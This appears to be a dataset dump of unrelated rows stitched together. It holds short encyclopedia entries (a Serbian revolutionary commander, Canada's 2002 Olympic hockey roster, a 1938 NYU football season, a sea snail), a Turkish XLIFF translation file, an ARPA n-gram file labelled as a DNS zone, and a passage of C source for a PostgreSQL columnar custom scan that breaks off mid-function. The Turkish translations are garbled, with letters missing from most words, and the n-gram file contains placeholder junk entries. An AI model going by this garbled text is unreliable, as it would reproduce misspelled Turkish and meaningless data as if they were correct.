text stringlengths 1 22.8M |
|---|
Radič Petrović (; 1738–1816), known as Captain Radič (kapetan Radič), was a Serbian Revolutionary commander (vojvoda), earlier a Military Frontier guard and volunteer in the Austro-Turkish War (1787–91).
Early life and Habsburg service
Petrović was born in Siokovac in the Levač region, and moved to Ostružnica by the Sava. Many Serbs fled across the Danube and Sava into the Military Frontier of the Habsburg monarchy after increased Ottoman oppression. Petrović and his family moved to Syrmia, and he entered Habsburg service, becoming a border guard. With the outbreak of the Austro-Turkish War (1787–91), he joined the Serbian Free Corps, a Serb volunteer unit fighting the Ottomans in central Serbia, consequently occupied by the Habsburgs (1788–92). For his operation, managing to open the Belgrade Fortress Gates, he was awarded the rank of captain. For his service during the war, he was awarded knighthood by Leopold II in 1792. He also served as a volunteer fighting the French. He used his military experience to train Serb rebels in the First Serbian Uprising (1804–13). The leader of the uprising, Karađorđe, who had fought in Petrović's volunteer unit, viewed him as his foster father.
Serbian Revolution
Petrović returned to Serbia (the Sanjak of Smederevo) in 1804 after the outbreak of the uprising. He distinguished himself throughout the uprising through military skills and prowess. After the liberation of Karanovac (now Kraljevo) in 1805, Karađorđe appointed him vojvoda (general). In March 1806, Ottoman commander Suleiman Pasha defeated the Serbian rebel band of Radič Petrović near the Studenica Monastery. He was seriously wounded during the Siege of Belgrade (1806), and became permanently hunched. After recovering, he stayed in Belgrade, and in 1808 became a magistrate. In the following years he took part in the fortification and defence of Ćuprija. After the Ottoman suppression of the uprising in 1813, he lived in Syrmia under very modest conditions. After the outbreak of the Second Serbian Uprising (1815), Radič Petrović returned to Serbia in 1816. His return was not seen positively by Miloš Obrenović, the new Serbian leader, due to Petrović's close ties to Karađorđe (now exiled) and the fear of mutiny against Obrenović. He was quickly captured and killed along with Petar Nikolajević Moler by the Ottomans, at close to 80 years of age.
Personal life
Petrović was regarded a great patriot and hero. He was physically strong and tall, described as very courageous, and was wounded several times in battles, allegedly having 30 wounds. He married three times, and from the first marriage he had two sons, and from the third, a daughter.
Legacy
In the Serbian historical drama TV series Vuk Karadžić (1987), Radič Petrović was played by Milan Srdoč.
See also
List of Serbian Revolutionaries
References
Sources
18th-century Serbian people
19th-century Serbian people
Serbian military leaders
People of the Military Frontier
People of the First Serbian Uprising
People from Jagodina
Military personnel from Belgrade
Habsburg Serbs
Serbs from the Ottoman Empire
1738 births
1816 deaths |
```xml
<?xml version="1.0" encoding="UTF-8"?>
<xliff xmlns="urn:oasis:names:tc:xliff:document:1.2" version="1.2">
<file source-language="en" target-language="tr" datatype="plaintext" original="flashmessages.en.xlf">
<body>
<trans-unit id="S9k1S7Z" resname="warning">
<source>warning</source>
<target state="translated">Uyar</target>
</trans-unit>
<trans-unit id="WmrEP_5" resname="timesheet.stop.success">
<source>timesheet.stop.success</source>
<target state="translated">Zaman kayd durduruldu</target>
</trans-unit>
<trans-unit id="NPBnpK_" resname="timesheet.stop.error">
<source>timesheet.stop.error</source>
<target state="translated">Zaman kayd durdurulamad</target>
</trans-unit>
<trans-unit id="CCUoZga" resname="timesheet.start.success">
<source>timesheet.start.success</source>
<target state="translated">Zaman kayd balatld</target>
</trans-unit>
<trans-unit id="3w9tuox" resname="timesheet.start.error">
<source>timesheet.start.error</source>
<target state="translated">Zaman kayd balatlamad</target>
</trans-unit>
<trans-unit id="kPINWEK" resname="timesheet.locked.warning">
<source>timesheet.locked.warning</source>
<target state="translated">Da aktarlan bir kayd dzenliyorsunuz</target>
</trans-unit>
<trans-unit id="72Ih8zO" resname="action.update.success">
<source>action.update.success</source>
<target state="translated">Deiiklikler kaydedildi</target>
</trans-unit>
<trans-unit id="xeu1LSy" resname="action.update.error">
<source>action.update.error</source>
<target state="translated">Deiiklikler kaydedilemed: %reason%</target>
</trans-unit>
<trans-unit id="YV50HDB" resname="action.delete.success">
<source>action.delete.success</source>
<target state="translated">Kayt silindi</target>
</trans-unit>
<trans-unit id="mW91Tmb" resname="action.delete.error">
<source>action.delete.error</source>
<target state="translated">Kayt silinemedi: %reason%</target>
</trans-unit>
<trans-unit id="B_cz49z" resname="invoice.first_template">
<source>invoice.first_template</source>
<target state="translated">Devam edebilmek iin fatura ablonu oluturmanz gereklidir</target>
</trans-unit>
<trans-unit id="wejAEcR" resname="action.upload.error">
<source>action.upload.error</source>
<target>Dosya karya yklenemedi veya kaydedilemedi: %reason%</target>
</trans-unit>
<trans-unit resname="action.csrf.error" id="bOE_q5R">
<source>action.csrf.error</source>
<target>Eylem gerekletirilemedi: geersiz gvenlik belirteci.</target>
</trans-unit>
</body>
</file>
</xliff>
``` |
The 2001–02 Canada men's national ice hockey team represented Canada at the 2002 Winter Olympics officially hosted by Salt Lake City in Utah.
Team Canada, coached by Pat Quinn, won the gold medal. It was the first Olympic gold medal for Canada in men's ice hockey since the Edmonton Mercurys won gold at the 1952 Winter Olympics in Oslo, Norway.
2002 Winter Olympics roster
Head coach: Pat Quinn
Ed Belfour – Dallas Stars
Rob Blake – Colorado Avalanche
Eric Brewer – Edmonton Oilers
Martin Brodeur – New Jersey Devils
Theoren Fleury – New York Rangers
Adam Foote – Colorado Avalanche
Simon Gagne – Philadelphia Flyers
Jarome Iginla – Calgary Flames
Curtis Joseph – Toronto Maple Leafs
Ed Jovanovski – Vancouver Canucks
Paul Kariya – Mighty Ducks of Anaheim
Mario Lemieux (C) – Pittsburgh Penguins
Eric Lindros – New York Rangers
Al MacInnis – St. Louis Blues
Scott Niedermayer – New Jersey Devils
Joe Nieuwendyk – Dallas Stars
Owen Nolan – San Jose Sharks
Michael Peca – New York Islanders
Chris Pronger – (A) St. Louis Blues
Joe Sakic – (A) Colorado Avalanche
Brendan Shanahan – Detroit Red Wings
Ryan Smyth – Edmonton Oilers
Steve Yzerman (A) – Detroit Red Wings
See also
Canada men's national ice hockey team
Ice hockey at the 2002 Winter Olympics
Ice hockey at the Olympic Games
List of Canadian national ice hockey team rosters
References
Canada men's national ice hockey team seasons |
```dns zone
\data\
ngram 1=36
ngram 2=45
ngram 3=10
ngram 4=6
ngram 5=4
\1-grams:
-1.383514 , -0.30103
-1.139057 . -0.845098
-1.029493 </s>
-99 <s> -0.4149733
-1.285941 a -0.69897
-1.687872 also -0.30103
-1.687872 beyond -0.30103
-1.687872 biarritz -0.30103
-1.687872 call -0.30103
-1.687872 concerns -0.30103
-1.687872 consider -0.30103
-1.687872 considering -0.30103
-1.687872 for -0.30103
-1.509559 higher -0.30103
-1.687872 however -0.30103
-1.687872 i -0.30103
-1.687872 immediate -0.30103
-1.687872 in -0.30103
-1.687872 is -0.30103
-1.285941 little -0.69897
-1.383514 loin -0.30103
-1.687872 look -0.30103
-1.285941 looking -0.4771212
-1.206319 more -0.544068
-1.509559 on -0.4771212
-1.509559 screening -0.4771212
-1.687872 small -0.30103
-1.687872 the -0.30103
-1.687872 to -0.30103
-1.687872 watch -0.30103
-1.687872 watching -0.30103
-1.687872 what -0.30103
-1.687872 would -0.30103
-3.141592 foo
-2.718281 bar 3.0
-6.535897 baz -0.0
\2-grams:
-0.6925742 , .
-0.7522095 , however
-0.7522095 , is
-0.0602359 . </s>
-0.4846522 <s> looking -0.4771214
-1.051485 <s> screening
-1.07153 <s> the
-1.07153 <s> watching
-1.07153 <s> what
-0.09132547 a little -0.69897
-0.2922095 also call
-0.2922095 beyond immediate
-0.2705918 biarritz .
-0.2922095 call for
-0.2922095 concerns in
-0.2922095 consider watch
-0.2922095 considering consider
-0.2834328 for ,
-0.5511513 higher more
-0.5845945 higher small
-0.2834328 however ,
-0.2922095 i would
-0.2922095 immediate concerns
-0.2922095 in biarritz
-0.2922095 is to
-0.09021038 little more -0.1998621
-0.7273645 loin ,
-0.6925742 loin .
-0.6708385 loin </s>
-0.2922095 look beyond
-0.4638903 looking higher
-0.4638903 looking on -0.4771212
-0.5136299 more . -0.4771212
-0.3561665 more loin
-0.1649931 on a -0.4771213
-0.1649931 screening a -0.4771213
-0.2705918 small .
-0.287799 the screening
-0.2922095 to look
-0.2622373 watch </s>
-0.2922095 watching considering
-0.2922095 what i
-0.2922095 would also
-2 also would -6
-6 foo bar
\3-grams:
-0.01916512 more . </s>
-0.0283603 on a little -0.4771212
-0.0283603 screening a little -0.4771212
-0.01660496 a little more -0.09409451
-0.3488368 <s> looking higher
-0.3488368 <s> looking on -0.4771212
-0.1892331 little more loin
-0.04835128 looking on a -0.4771212
-3 also would consider -7
-7 to look a
\4-grams:
-0.009249173 looking on a little -0.4771212
-0.005464747 on a little more -0.4771212
-0.005464747 screening a little more
-0.1453306 a little more loin
-0.01552657 <s> looking on a -0.4771212
-4 also would consider higher -8
\5-grams:
-0.003061223 <s> looking on a little
-0.001813953 looking on a little more
-0.0432557 on a little more loin
-5 also would consider higher looking
\end\
``` |
The 1938 NYU Violets football team was an American football team that represented New York University as an independent during the 1938 college football season. In their fifth year under head coach Mal Stevens, the team compiled a 4–4 record.
Schedule
References
NYU
NYU Violets football seasons
NYU Violets football
University Heights, Bronx
Sports in the Bronx |
Crassispira oliva is a species of sea snail, a marine gastropod mollusk in the family Pseudomelatomidae.
Description
The length of the shell attains 32 mm.
Distribution
This marine species occurs off the Democratic Republic of the Congo and Angola
References
Fernandes, F., Rolán, E. & Otero-Schmitt, J. (1995) The genus Crassispira (Gastropoda, Turridae) in West Africa. Journal of Conchology, 35, 283–301.
External links
}
oliva
Gastropods described in 1995 |
```c
/*your_sha256_hash---------
*
* columnar_customscan.c
*
* This file contains the implementation of a postgres custom scan that
* we use to push down the projections into the table access methods.
*
* $Id$
*
*your_sha256_hash---------
*/
#include <math.h>
#include "postgres.h"
#include "miscadmin.h"
#include "access/amapi.h"
#include "access/skey.h"
#include "catalog/pg_am.h"
#include "catalog/pg_statistic.h"
#include "commands/defrem.h"
#include "nodes/extensible.h"
#include "nodes/makefuncs.h"
#include "nodes/nodeFuncs.h"
#include "nodes/pg_list.h"
#include "nodes/plannodes.h"
#include "optimizer/cost.h"
#include "optimizer/optimizer.h"
#include "optimizer/pathnode.h"
#include "optimizer/paths.h"
#include "optimizer/plancat.h"
#include "optimizer/restrictinfo.h"
#if PG_VERSION_NUM >= PG_VERSION_16
#include "parser/parse_relation.h"
#include "parser/parsetree.h"
#endif
#include "utils/builtins.h"
#include "utils/lsyscache.h"
#include "utils/relcache.h"
#include "utils/ruleutils.h"
#include "utils/selfuncs.h"
#include "utils/spccache.h"
#include "citus_version.h"
#include "columnar/columnar.h"
#include "columnar/columnar_customscan.h"
#include "columnar/columnar_metadata.h"
#include "columnar/columnar_tableam.h"
#include "distributed/listutils.h"
/*
* ColumnarScanState represents the state for a columnar scan. It's a
* CustomScanState with additional fields specific to columnar scans.
*/
typedef struct ColumnarScanState
{
CustomScanState custom_scanstate; /* must be first field */
ExprContext *css_RuntimeContext;
List *qual;
} ColumnarScanState;
typedef bool (*PathPredicate)(Path *path);
/* functions to cost paths in-place */
static void CostColumnarPaths(PlannerInfo *root, RelOptInfo *rel, Oid relationId);
static void CostColumnarIndexPath(PlannerInfo *root, RelOptInfo *rel, Oid relationId,
IndexPath *indexPath);
static void CostColumnarSeqPath(RelOptInfo *rel, Oid relationId, Path *path);
static void CostColumnarScan(PlannerInfo *root, RelOptInfo *rel, Oid relationId,
CustomPath *cpath, int numberOfColumnsRead,
int nClauses);
/* functions to add new paths */
static void AddColumnarScanPaths(PlannerInfo *root, RelOptInfo *rel,
RangeTblEntry *rte);
static void AddColumnarScanPath(PlannerInfo *root, RelOptInfo *rel,
RangeTblEntry *rte, Relids required_relids);
/* helper functions to be used when costing paths or altering them */
static void RemovePathsByPredicate(RelOptInfo *rel, PathPredicate removePathPredicate);
static bool IsNotIndexPath(Path *path);
static Cost ColumnarIndexScanAdditionalCost(PlannerInfo *root, RelOptInfo *rel,
Oid relationId, IndexPath *indexPath);
static int RelationIdGetNumberOfAttributes(Oid relationId);
static Cost ColumnarPerStripeScanCost(RelOptInfo *rel, Oid relationId,
int numberOfColumnsRead);
static uint64 ColumnarTableStripeCount(Oid relationId);
static Path * CreateColumnarSeqScanPath(PlannerInfo *root, RelOptInfo *rel,
Oid relationId);
static void AddColumnarScanPathsRec(PlannerInfo *root, RelOptInfo *rel,
RangeTblEntry *rte, Relids paramRelids,
Relids candidateRelids,
int depthLimit);
/* hooks and callbacks */
static void ColumnarSetRelPathlistHook(PlannerInfo *root, RelOptInfo *rel, Index rti,
RangeTblEntry *rte);
static void ColumnarGetRelationInfoHook(PlannerInfo *root, Oid relationObjectId,
bool inhparent, RelOptInfo *rel);
static Plan * ColumnarScanPath_PlanCustomPath(PlannerInfo *root,
RelOptInfo *rel,
struct CustomPath *best_path,
List *tlist,
List *clauses,
List *custom_plans);
static List * ColumnarScanPath_ReparameterizeCustomPathByChild(PlannerInfo *root,
List *custom_private,
RelOptInfo *child_rel);
static Node * ColumnarScan_CreateCustomScanState(CustomScan *cscan);
static void ColumnarScan_BeginCustomScan(CustomScanState *node, EState *estate,
int eflags);
static TupleTableSlot * ColumnarScan_ExecCustomScan(CustomScanState *node);
static void ColumnarScan_EndCustomScan(CustomScanState *node);
static void ColumnarScan_ReScanCustomScan(CustomScanState *node);
static void ColumnarScan_ExplainCustomScan(CustomScanState *node, List *ancestors,
ExplainState *es);
/* helper functions to build strings for EXPLAIN */
static const char * ColumnarPushdownClausesStr(List *context, List *clauses);
static const char * ColumnarProjectedColumnsStr(List *context,
List *projectedColumns);
static List * set_deparse_context_planstate(List *dpcontext, Node *node,
List *ancestors);
/* other helpers */
static List * ColumnarVarNeeded(ColumnarScanState *columnarScanState);
static Bitmapset * ColumnarAttrNeeded(ScanState *ss);
#if PG_VERSION_NUM >= PG_VERSION_16
static Bitmapset * fixup_inherited_columns(Oid parentId, Oid childId, Bitmapset *columns);
#endif
/* saved hook value in case of unload */
static set_rel_pathlist_hook_type PreviousSetRelPathlistHook = NULL;
static get_relation_info_hook_type PreviousGetRelationInfoHook = NULL;
static bool EnableColumnarCustomScan = true;
static bool EnableColumnarQualPushdown = true;
static double ColumnarQualPushdownCorrelationThreshold = 0.9;
static int ColumnarMaxCustomScanPaths = 64;
static int ColumnarPlannerDebugLevel = DEBUG3;
const struct CustomPathMethods ColumnarScanPathMethods = {
.CustomName = "ColumnarScan",
.PlanCustomPath = ColumnarScanPath_PlanCustomPath,
.ReparameterizeCustomPathByChild = ColumnarScanPath_ReparameterizeCustomPathByChild,
};
const struct CustomScanMethods ColumnarScanScanMethods = {
.CustomName = "ColumnarScan",
.CreateCustomScanState = ColumnarScan_CreateCustomScanState,
};
const struct CustomExecMethods ColumnarScanExecuteMethods = {
.CustomName = "ColumnarScan",
.BeginCustomScan = ColumnarScan_BeginCustomScan,
.ExecCustomScan = ColumnarScan_ExecCustomScan,
.EndCustomScan = ColumnarScan_EndCustomScan,
.ReScanCustomScan = ColumnarScan_ReScanCustomScan,
.ExplainCustomScan = ColumnarScan_ExplainCustomScan,
};
static const struct config_enum_entry debug_level_options[] = {
{ "debug5", DEBUG5, false },
{ "debug4", DEBUG4, false },
{ "debug3", DEBUG3, false },
{ "debug2", DEBUG2, false },
{ "debug1", DEBUG1, false },
{ "debug", DEBUG2, true },
{ "info", INFO, false },
{ "notice", NOTICE, false },
{ "warning", WARNING, false },
{ "log", LOG, false },
{ NULL, 0, false }
};
/*
* columnar_customscan_init installs the hook required to intercept the postgres planner and
* provide extra paths for columnar tables
*/
void
columnar_customscan_init()
{
PreviousSetRelPathlistHook = set_rel_pathlist_hook;
set_rel_pathlist_hook = ColumnarSetRelPathlistHook;
PreviousGetRelationInfoHook = get_relation_info_hook;
get_relation_info_hook = ColumnarGetRelationInfoHook;
/* register customscan specific GUC's */
DefineCustomBoolVariable(
"columnar.enable_custom_scan",
gettext_noop("Enables the use of a custom scan to push projections and quals "
"into the storage layer."),
NULL,
&EnableColumnarCustomScan,
true,
PGC_USERSET,
GUC_NO_SHOW_ALL | GUC_NOT_IN_SAMPLE,
NULL, NULL, NULL);
DefineCustomBoolVariable(
"columnar.enable_qual_pushdown",
gettext_noop("Enables qual pushdown into columnar. This has no effect unless "
"columnar.enable_custom_scan is true."),
NULL,
&EnableColumnarQualPushdown,
true,
PGC_USERSET,
GUC_NO_SHOW_ALL | GUC_NOT_IN_SAMPLE,
NULL, NULL, NULL);
DefineCustomRealVariable(
"columnar.qual_pushdown_correlation_threshold",
gettext_noop("Correlation threshold to attempt to push a qual "
"referencing the given column. A value of 0 means "
"attempt to push down all quals, even if the column "
"is uncorrelated."),
NULL,
&ColumnarQualPushdownCorrelationThreshold,
0.9,
0.0,
1.0,
PGC_USERSET,
GUC_NO_SHOW_ALL | GUC_NOT_IN_SAMPLE,
NULL, NULL, NULL);
DefineCustomIntVariable(
"columnar.max_custom_scan_paths",
gettext_noop("Maximum number of custom scan paths to generate "
"for a columnar table when planning."),
NULL,
&ColumnarMaxCustomScanPaths,
64,
1,
1024,
PGC_USERSET,
GUC_NO_SHOW_ALL | GUC_NOT_IN_SAMPLE,
NULL, NULL, NULL);
DefineCustomEnumVariable(
"columnar.planner_debug_level",
"Message level for columnar planning information.",
NULL,
&ColumnarPlannerDebugLevel,
DEBUG3,
debug_level_options,
PGC_USERSET,
0,
NULL,
NULL,
NULL);
RegisterCustomScanMethods(&ColumnarScanScanMethods);
}
static void
ColumnarSetRelPathlistHook(PlannerInfo *root, RelOptInfo *rel, Index rti,
RangeTblEntry *rte)
{
/* call into previous hook if assigned */
if (PreviousSetRelPathlistHook)
{
PreviousSetRelPathlistHook(root, rel, rti, rte);
}
if (!OidIsValid(rte->relid) || rte->rtekind != RTE_RELATION || rte->inh)
{
/* some calls to the pathlist hook don't have a valid relation set. Do nothing */
return;
}
/*
* Here we want to inspect if this relation pathlist hook is accessing a columnar table.
* If that is the case we want to insert an extra path that pushes down the projection
* into the scan of the table to minimize the data read.
*/
Relation relation = RelationIdGetRelation(rte->relid);
if (!RelationIsValid(relation))
{
ereport(ERROR, (errmsg("could not open relation with OID %u", rte->relid)));
}
if (relation->rd_tableam == GetColumnarTableAmRoutine())
{
if (rte->tablesample != NULL)
{
ereport(ERROR, (errcode(ERRCODE_FEATURE_NOT_SUPPORTED),
errmsg("sample scans not supported on columnar tables")));
}
if (list_length(rel->partial_pathlist) != 0)
{
/*
* Parallel scans on columnar tables are already discardad by
* ColumnarGetRelationInfoHook but be on the safe side.
*/
elog(ERROR, "parallel scans on columnar are not supported");
}
/*
* There are cases where IndexPath is normally more preferrable over
* SeqPath for heapAM but not for columnarAM. In such cases, an
* IndexPath could wrongly dominate a SeqPath based on the costs
* estimated by postgres earlier. For this reason, here we manually
* create a SeqPath, estimate the cost based on columnarAM and append
* to pathlist.
*
* Before doing that, we first re-cost all the existing paths so that
* add_path makes correct cost comparisons when appending our SeqPath.
*/
CostColumnarPaths(root, rel, rte->relid);
Path *seqPath = CreateColumnarSeqScanPath(root, rel, rte->relid);
add_path(rel, seqPath);
if (EnableColumnarCustomScan)
{
ereport(DEBUG1, (errmsg("pathlist hook for columnar table am")));
/*
* When columnar custom scan is enabled (columnar.enable_custom_scan),
* we only consider ColumnarScanPath's & IndexPath's. For this reason,
* we remove other paths and re-estimate IndexPath costs to make accurate
* comparisons between them.
*
* Even more, we might calculate an equal cost for a
* ColumnarCustomScan and a SeqPath if we are reading all columns
* of given table since we don't consider chunk group filtering
* when costing ColumnarCustomScan.
* In that case, if we don't remove SeqPath's, we might wrongly choose
* SeqPath thinking that its cost would be equal to ColumnarCustomScan.
*/
RemovePathsByPredicate(rel, IsNotIndexPath);
AddColumnarScanPaths(root, rel, rte);
}
}
RelationClose(relation);
}
static void
ColumnarGetRelationInfoHook(PlannerInfo *root, Oid relationObjectId,
bool inhparent, RelOptInfo *rel)
{
if (PreviousGetRelationInfoHook)
{
PreviousGetRelationInfoHook(root, relationObjectId, inhparent, rel);
}
if (IsColumnarTableAmTable(relationObjectId))
{
/* disable parallel query */
rel->rel_parallel_workers = 0;
/* disable index-only scan */
IndexOptInfo *indexOptInfo = NULL;
foreach_ptr(indexOptInfo, rel->indexlist)
{
memset(indexOptInfo->canreturn, false, indexOptInfo->ncolumns * sizeof(bool));
}
}
}
/*
* RemovePathsByPredicate removes the paths that removePathPredicate
* evaluates to true from pathlist of given rel.
*/
static void
RemovePathsByPredicate(RelOptInfo *rel, PathPredicate removePathPredicate)
{
List *filteredPathList = NIL;
Path *path = NULL;
foreach_ptr(path, rel->pathlist)
{
if (!removePathPredicate(path))
{
filteredPathList = lappend(filteredPathList, path);
}
}
rel->pathlist = filteredPathList;
}
/*
* IsNotIndexPath returns true if given path is not an IndexPath.
*/
static bool
IsNotIndexPath(Path *path)
{
return !IsA(path, IndexPath);
}
/*
* CreateColumnarSeqScanPath returns Path for sequential scan on columnar
* table with relationId.
*/
static Path *
CreateColumnarSeqScanPath(PlannerInfo *root, RelOptInfo *rel, Oid relationId)
{
/* columnar doesn't support parallel scan */
int parallelWorkers = 0;
Relids requiredOuter = rel->lateral_relids;
Path *path = create_seqscan_path(root, rel, requiredOuter, parallelWorkers);
CostColumnarSeqPath(rel, relationId, path);
return path;
}
/*
* CostColumnarPaths re-costs paths of given RelOptInfo for
* columnar table with relationId.
*/
static void
CostColumnarPaths(PlannerInfo *root, RelOptInfo *rel, Oid relationId)
{
Path *path = NULL;
foreach_ptr(path, rel->pathlist)
{
if (IsA(path, IndexPath))
{
/*
* Since we don't provide implementations for scan_bitmap_next_block
* & scan_bitmap_next_tuple, postgres doesn't generate bitmap index
* scan paths for columnar tables already (see related comments in
* TableAmRoutine). For this reason, we only consider IndexPath's
* here.
*/
CostColumnarIndexPath(root, rel, relationId, (IndexPath *) path);
}
else if (path->pathtype == T_SeqScan)
{
CostColumnarSeqPath(rel, relationId, path);
}
}
}
/*
* CostColumnarIndexPath re-costs given index path for columnar table with
* relationId.
*/
static void
CostColumnarIndexPath(PlannerInfo *root, RelOptInfo *rel, Oid relationId,
IndexPath *indexPath)
{
if (!enable_indexscan)
{
/* costs are already set to disable_cost, don't adjust them */
return;
}
ereport(DEBUG4, (errmsg("columnar table index scan costs estimated by "
"indexAM: startup cost = %.10f, total cost = "
"%.10f", indexPath->path.startup_cost,
indexPath->path.total_cost)));
/*
* We estimate the cost for columnar table read during index scan. Also,
* instead of overwriting total cost, we "add" ours to the cost estimated
* by indexAM since we should consider index traversal related costs too.
*/
Cost columnarIndexScanCost = ColumnarIndexScanAdditionalCost(root, rel, relationId,
indexPath);
indexPath->path.total_cost += columnarIndexScanCost;
ereport(DEBUG4, (errmsg("columnar table index scan costs re-estimated "
"by columnarAM (including indexAM costs): "
"startup cost = %.10f, total cost = %.10f",
indexPath->path.startup_cost,
indexPath->path.total_cost)));
}
/*
* ColumnarIndexScanAdditionalCost returns additional cost estimated for
* index scan described by IndexPath for columnar table with relationId.
*/
static Cost
ColumnarIndexScanAdditionalCost(PlannerInfo *root, RelOptInfo *rel,
Oid relationId, IndexPath *indexPath)
{
int numberOfColumnsRead = RelationIdGetNumberOfAttributes(relationId);
Cost perStripeCost = ColumnarPerStripeScanCost(rel, relationId, numberOfColumnsRead);
/*
* We don't need to pass correct loop count to amcostestimate since we
* will only use index correlation & index selectivity, and loop count
* doesn't have any effect on those two.
*/
double fakeLoopCount = 1;
Cost fakeIndexStartupCost;
Cost fakeIndexTotalCost;
double fakeIndexPages;
Selectivity indexSelectivity;
double indexCorrelation;
amcostestimate_function amcostestimate = indexPath->indexinfo->amcostestimate;
amcostestimate(root, indexPath, fakeLoopCount, &fakeIndexStartupCost,
&fakeIndexTotalCost, &indexSelectivity,
&indexCorrelation, &fakeIndexPages);
Relation relation = RelationIdGetRelation(relationId);
if (!RelationIsValid(relation))
{
ereport(ERROR, (errmsg("could not open relation with OID %u", relationId)));
}
uint64 rowCount = ColumnarTableRowCount(relation);
RelationClose(relation);
double estimatedRows = rowCount * indexSelectivity;
/*
* In the worst case (i.e no correlation between the column & the index),
* we need to read a different stripe for each row.
*/
double maxStripeReadCount = estimatedRows;
/*
* In the best case (i.e the column is fully correlated with the index),
* we wouldn't read the same stripe again and again thanks
* to locality.
*/
double avgStripeRowCount =
rowCount / (double) ColumnarTableStripeCount(relationId);
double minStripeReadCount = estimatedRows / avgStripeRowCount;
/*
* While being close to 0 means low correlation, being close to -1 or +1
* means high correlation. For index scans on columnar tables, it doesn't
* matter if the column and the index are "correlated" (+1) or
* "anti-correlated" (-1) since both help us avoiding from reading the
* same stripe again and again.
*/
double absIndexCorrelation = float_abs(indexCorrelation);
/*
* To estimate the number of stripes that we need to read, we do linear
* interpolation between minStripeReadCount & maxStripeReadCount. To do
* that, we use complement to 1 of absolute correlation, where being
* close to 0 means high correlation and being close to 1 means low
* correlation.
* In practice, we only want to do an index scan when absIndexCorrelation
* is 1 (or extremely close to it), or when the absolute number of tuples
* returned is very small. Other cases will have a prohibitive cost.
*/
double complementIndexCorrelation = 1 - absIndexCorrelation;
double estimatedStripeReadCount =
minStripeReadCount + complementIndexCorrelation * (maxStripeReadCount -
minStripeReadCount);
/* even in the best case, we will read a single stripe */
estimatedStripeReadCount = Max(estimatedStripeReadCount, 1.0);
Cost scanCost = perStripeCost * estimatedStripeReadCount;
ereport(DEBUG4, (errmsg("re-costing index scan for columnar table: "
"selectivity = %.10f, complement abs "
"correlation = %.10f, per stripe cost = %.10f, "
"estimated stripe read count = %.10f, "
"total additional cost = %.10f",
indexSelectivity, complementIndexCorrelation,
perStripeCost, estimatedStripeReadCount,
scanCost)));
return scanCost;
}
/*
* CostColumnarSeqPath sets costs given seq path for columnar table with
* relationId.
*/
static void
CostColumnarSeqPath(RelOptInfo *rel, Oid relationId, Path *path)
{
if (!enable_seqscan)
{
/* costs are already set to disable_cost, don't adjust them */
return;
}
/*
* Seq scan doesn't support projection or qual pushdown, so we will read
* all the stripes and all the columns.
*/
double stripesToRead = ColumnarTableStripeCount(relationId);
int numberOfColumnsRead = RelationIdGetNumberOfAttributes(relationId);
path->startup_cost = 0;
path->total_cost = stripesToRead *
ColumnarPerStripeScanCost(rel, relationId, numberOfColumnsRead);
}
/*
* RelationIdGetNumberOfAttributes returns number of attributes that relation
* with relationId has.
*/
static int
RelationIdGetNumberOfAttributes(Oid relationId)
{
Relation relation = RelationIdGetRelation(relationId);
if (!RelationIsValid(relation))
{
ereport(ERROR, (errmsg("could not open relation with OID %u", relationId)));
}
int nattrs = relation->rd_att->natts;
RelationClose(relation);
return nattrs;
}
/*
* CheckVarStats() checks whether a qual involving this Var is likely to be
* useful based on the correlation stats. If so, or if stats are unavailable,
* return true; otherwise return false and sets absVarCorrelation in case
* caller wants to use for logging purposes.
*/
static bool
CheckVarStats(PlannerInfo *root, Var *var, Oid sortop, float4 *absVarCorrelation)
{
/*
* Collect isunique, ndistinct, and varCorrelation.
*/
VariableStatData varStatData;
examine_variable(root, (Node *) var, var->varno, &varStatData);
if (varStatData.rel == NULL ||
!HeapTupleIsValid(varStatData.statsTuple))
{
return true;
}
AttStatsSlot sslot;
if (!get_attstatsslot(&sslot, varStatData.statsTuple,
STATISTIC_KIND_CORRELATION, sortop,
ATTSTATSSLOT_NUMBERS))
{
ReleaseVariableStats(varStatData);
return true;
}
Assert(sslot.nnumbers == 1);
float4 varCorrelation = sslot.numbers[0];
ReleaseVariableStats(varStatData);
/*
* If the Var is not highly correlated, then the chunk's min/max bounds
* will be nearly useless.
*/
if (float_abs(varCorrelation) < ColumnarQualPushdownCorrelationThreshold)
{
if (absVarCorrelation)
{
/*
* Report absVarCorrelation if caller wants to know why given
* var is rejected.
*/
*absVarCorrelation = float_abs(varCorrelation);
}
return false;
}
return true;
}
/*
* ExprReferencesRelid returns true if any of the Expr's Vars refer to the
* given relid; false otherwise.
*/
static bool
ExprReferencesRelid(Expr *expr, Index relid)
{
List *exprVars = pull_var_clause(
(Node *) expr, PVC_RECURSE_AGGREGATES |
PVC_RECURSE_WINDOWFUNCS | PVC_RECURSE_PLACEHOLDERS);
ListCell *lc;
foreach(lc, exprVars)
{
Var *var = (Var *) lfirst(lc);
if (var->varno == relid)
{
return true;
}
}
return false;
}
/*
* ExtractPushdownClause extracts an Expr node from given clause for pushing down
* into the given rel (including join clauses). This test may not be exact in
* all cases; it's used to reduce the search space for parameterization.
*
* Note that we don't try to handle cases like "Var + ExtParam = 3". That
* would require going through eval_const_expression after parameter binding,
* and that doesn't seem worth the effort. Here we just look for "Var op Expr"
* or "Expr op Var", where Var references rel and Expr references other rels
* (or no rels at all).
*
* Moreover, this function also looks into BoolExpr's to recursively extract
* pushdownable OpExpr's of them:
* i) AND_EXPR:
* Take pushdownable args of AND expressions by ignoring the other args.
* ii) OR_EXPR:
* Ignore the whole OR expression if we cannot exract a pushdownable Expr
* from one of its args.
* iii) NOT_EXPR:
* Simply ignore NOT expressions since we don't expect to see them before
* an expression that we can pushdown, see the comment in function.
*
* The reasoning for those three rules could also be summarized as such;
* for any expression that we cannot push-down, we must assume that it
* evaluates to true.
*
* For example, given following WHERE clause:
* (
* (a > random() OR a < 30)
* AND
* a < 200
* ) OR
* (
* a = 300
* OR
* a > 400
* );
* Even if we can pushdown (a < 30), we cannot pushdown (a > random() OR a < 30)
* due to (a > random()). However, we can pushdown (a < 200), so we extract
* (a < 200) from the lhs of the top level OR expression.
*
* For the rhs of the top level OR expression, since we can pushdown both (a = 300)
* and (a > 400), we take this part as is.
*
* Finally, since both sides of the top level OR expression yielded pushdownable
* expressions, we will pushdown the following:
* (a < 200) OR ((a = 300) OR (a > 400))
*/
static Expr *
ExtractPushdownClause(PlannerInfo *root, RelOptInfo *rel, Node *node)
{
CHECK_FOR_INTERRUPTS();
check_stack_depth();
if (node == NULL)
{
return NULL;
}
if (IsA(node, BoolExpr))
{
BoolExpr *boolExpr = castNode(BoolExpr, node);
if (boolExpr->boolop == NOT_EXPR)
{
/*
